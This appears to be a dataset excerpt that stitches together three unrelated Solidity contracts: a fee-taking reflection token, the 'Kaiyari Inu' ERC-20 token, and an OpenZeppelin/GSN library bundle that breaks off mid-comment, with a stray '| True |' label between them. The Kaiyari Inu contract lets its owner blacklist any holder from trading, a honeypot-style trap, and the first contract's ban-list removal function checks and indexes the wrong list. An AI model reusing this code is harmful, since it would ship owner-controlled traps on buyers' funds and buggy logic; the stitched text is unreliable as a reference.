} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tCharity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tCharity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tCharity = calculateCharityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tCharity);
return (tTransferAmount, tFee, tLiquidity, tCharity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rCharity = tCharity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rCharity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setUniswapPair(address pair) external onlyOwner() {
uniswapPair = pair;
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function _takeCharity(uint256 tCharity) private {
uint256 currentRate = _getRate();
uint256 rCharity = tCharity.mul(currentRate);
_rOwned[_charityWalletAddress] = _rOwned[_charityWalletAddress].add(rCharity);
if(_isExcluded[_charityWalletAddress])
_tOwned[_charityWalletAddress] = _tOwned[_charityWalletAddress].add(tCharity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateCharityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_charityFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function addBanBotList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBanBotList[account], "Account is already blacklisted");
_isBanBotList[account] = true;
_banBotList.push(account);
}
function removeBanBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_banBotList[i] == account) {
_banBotList[i] = _blackListedBots[_blackListedBots.length - 1];
_isBanBotList[account] = false;
_banBotList.pop();
break;
}
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-27
*/
/**
https://kaiyariinu.com/
*/
pragma solidity 0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KaiyariInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Kaiyari Inu";
string private constant _symbol = "KAIYARI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0xbdC1104e91e8678C29E3d93310504b6CD29b5546);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000 * 10**9;
_maxWalletSize = 40000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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/**
*Submitted for verification at Etherscan.io on 2021-05-04
*/
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @opengsn/contracts/src/forwarder/IForwarder.sol
pragma solidity >=0.7.6;
pragma abicoder v2;
interface IForwarder {
struct ForwardRequest {
address from;
address to;
uint256 value;
uint256 gas;
uint256 nonce;
bytes data;
uint256 validUntil;
}
event DomainRegistered(bytes32 indexed domainSeparator, bytes domainValue);
event RequestTypeRegistered(bytes32 indexed typeHash, string typeStr);
function getNonce(address from)
external view
returns(uint256);
/**
* verify the transaction would execute.
* validate the signature and the nonce of the request.
* revert if either signature or nonce are incorrect.
* also revert if domainSeparator or requestTypeHash are not registered.
*/
function verify(
ForwardRequest calldata forwardRequest,
bytes32 domainSeparator,
bytes32 requestTypeHash,
bytes calldata suffixData,
bytes calldata signature
) external view;
/**
* execute a transaction
* @param forwardRequest - all transaction parameters
* @param domainSeparator - domain used when signing this request
* @param requestTypeHash - request type used when signing this request.
* @param suffixData - the extension data used when signing this request.
* @param signature - signature to validate.
*
* the transaction is verified, and then executed.
* the success and ret of "call" are returned.
* This method would revert only verification errors. target errors
* are reported using the returned "success" and ret string
*/
function execute(
ForwardRequest calldata forwardRequest,
bytes32 domainSeparator,
bytes32 requestTypeHash,
bytes calldata suffixData,
bytes calldata signature
)
external payable
returns (bool success, bytes memory ret);
/**
* Register a new Request typehash.
* @param typeName - the name of the request type.
* @param typeSuffix - any extra data after the generic params.
* (must add at least one param. The generic ForwardRequest type is always registered by the constructor)
*/
function registerRequestType(string calldata typeName, string calldata typeSuffix) external;
/**
* Register a new domain separator.
* The domain separator must have the following fields: name,version,chainId, verifyingContract.
* the chainId is the current network's chainId, and the verifyingContract is this forwarder.
* This method is given the domain name and version to create and register the domain separator value.
* @param name the domain's display name
* @param version the domain/protocol version
*/
function registerDomainSeparator(string calldata name, string calldata version) external;
}
// File: @opengsn/contracts/src/utils/GsnTypes.sol
pragma solidity >=0.7.6;
interface GsnTypes {
/// @notice gasPrice, pctRelayFee and baseRelayFee must be validated inside of the paymaster's preRelayedCall in order not to overpay
struct RelayData {
uint256 gasPrice;
uint256 pctRelayFee;
uint256 baseRelayFee;
address relayWorker;
address paymaster;
address forwarder;
bytes paymasterData;
uint256 clientId;
}
//note: must start with the ForwardRequest to be an extension of the generic forwarder
struct RelayRequest {
IForwarder.ForwardRequest request;
RelayData relayData;
}
}
// File: @opengsn/contracts/src/interfaces/IPaymaster.sol
pragma solidity >=0.7.6;
interface IPaymaster {
/**
* @param acceptanceBudget -
* Paymaster expected gas budget to accept (or reject) a request
* This a gas required by any calculations that might need to reject the
* transaction, by preRelayedCall, forwarder and recipient.
* See value in BasePaymaster.PAYMASTER_ACCEPTANCE_BUDGET
* Transaction that gets rejected above that gas usage is on the paymaster's expense.
* As long this value is above preRelayedCallGasLimit (see defaults in BasePaymaster), the
* Paymaster is guaranteed it will never pay for rejected transactions.
* If this value is below preRelayedCallGasLimt, it might might make Paymaster open to a "griefing" attack.
*
* Specifying value too high might make the call rejected by some relayers.
*
* From a Relay's point of view, this is the highest gas value a paymaster might "grief" the relay,
* since the paymaster will pay anything above that (regardless if the tx reverts)
*
* @param preRelayedCallGasLimit - the max gas usage of preRelayedCall. any revert (including OOG)
* of preRelayedCall is a reject by the paymaster.
* as long as acceptanceBudget is above preRelayedCallGasLimit, any such revert (including OOG)
* is not payed by the paymaster.
* @param postRelayedCallGasLimit - the max gas usage of postRelayedCall.
* note that an OOG will revert the transaction, but the paymaster already committed to pay,
* so the relay will get compensated, at the expense of the paymaster
*/
struct GasAndDataLimits {
uint256 acceptanceBudget;
uint256 preRelayedCallGasLimit;
uint256 postRelayedCallGasLimit;
uint256 calldataSizeLimit;
}
/**
* Return the Gas Limits and msg.data max size constants used by the Paymaster.
*/
function getGasAndDataLimits()
external
view
returns (
GasAndDataLimits memory limits
);
function trustedForwarder() external view returns (IForwarder);
/**
* return the relayHub of this contract.
*/
function getHubAddr() external view returns (address);
/**
* Can be used to determine if the contract can pay for incoming calls before making any.
* @return the paymaster's deposit in the RelayHub.
*/
function getRelayHubDeposit() external view returns (uint256);
/**
* Called by Relay (and RelayHub), to validate if the paymaster agrees to pay for this call.
*
* MUST be protected with relayHubOnly() in case it modifies state.
*
* The Paymaster rejects by the following "revert" operations
* - preRelayedCall() method reverts
* - the forwarder reverts because of nonce or signature error
* - the paymaster returned "rejectOnRecipientRevert", and the recipient contract reverted.
* In any of the above cases, all paymaster calls (and recipient call) are reverted.
* In any other case, the paymaster agrees to pay for the gas cost of the transaction (note
* that this includes also postRelayedCall revert)
*
* The rejectOnRecipientRevert flag means the Paymaster "delegate" the rejection to the recipient
* code. It also means the Paymaster trust the recipient to reject fast: both preRelayedCall,
* forwarder check and receipient checks must fit into the GasLimits.acceptanceBudget,
* otherwise the TX is paid by the Paymaster.
*
* @param relayRequest - the full relay request structure
* @param signature - user's EIP712-compatible signature of the {@link relayRequest}.
* Note that in most cases the paymaster shouldn't try use it at all. It is always checked
* by the forwarder immediately after preRelayedCall returns.
* @param approvalData - extra dapp-specific data (e.g. signature from trusted party)
* @param maxPossibleGas - based on values returned from {@link getGasAndDataLimits},
* the RelayHub will calculate the maximum possible amount of gas the user may be charged for.
* In order to convert this value to wei, the Paymaster has to call "relayHub.calculateCharge()"
* return:
* a context to be passed to postRelayedCall
* rejectOnRecipientRevert - TRUE if paymaster want to reject the TX if the recipient reverts.
* FALSE means that rejects by the recipient will be completed on chain, and paid by the paymaster.
* (note that in the latter case, the preRelayedCall and postRelayedCall are not reverted).
*/
function preRelayedCall(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
)
external
returns (bytes memory context, bool rejectOnRecipientRevert);
/**
* This method is called after the actual relayed function call.
* It may be used to record the transaction (e.g. charge the caller by some contract logic) for this call.
*
* MUST be protected with relayHubOnly() in case it modifies state.
*
* @param context - the call context, as returned by the preRelayedCall
* @param success - true if the relayed call succeeded, false if it reverted
* @param gasUseWithoutPost - the actual amount of gas used by the entire transaction, EXCEPT
* the gas used by the postRelayedCall itself.
* @param relayData - the relay params of the request. can be used by relayHub.calculateCharge()
*
* Revert in this functions causes a revert of the client's relayed call (and preRelayedCall(), but the Paymaster
* is still committed to pay the relay for the entire transaction.
*/
function postRelayedCall(
bytes calldata context,
bool success,
uint256 gasUseWithoutPost,
GsnTypes.RelayData calldata relayData
) external;
function versionPaymaster() external view returns (string memory);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
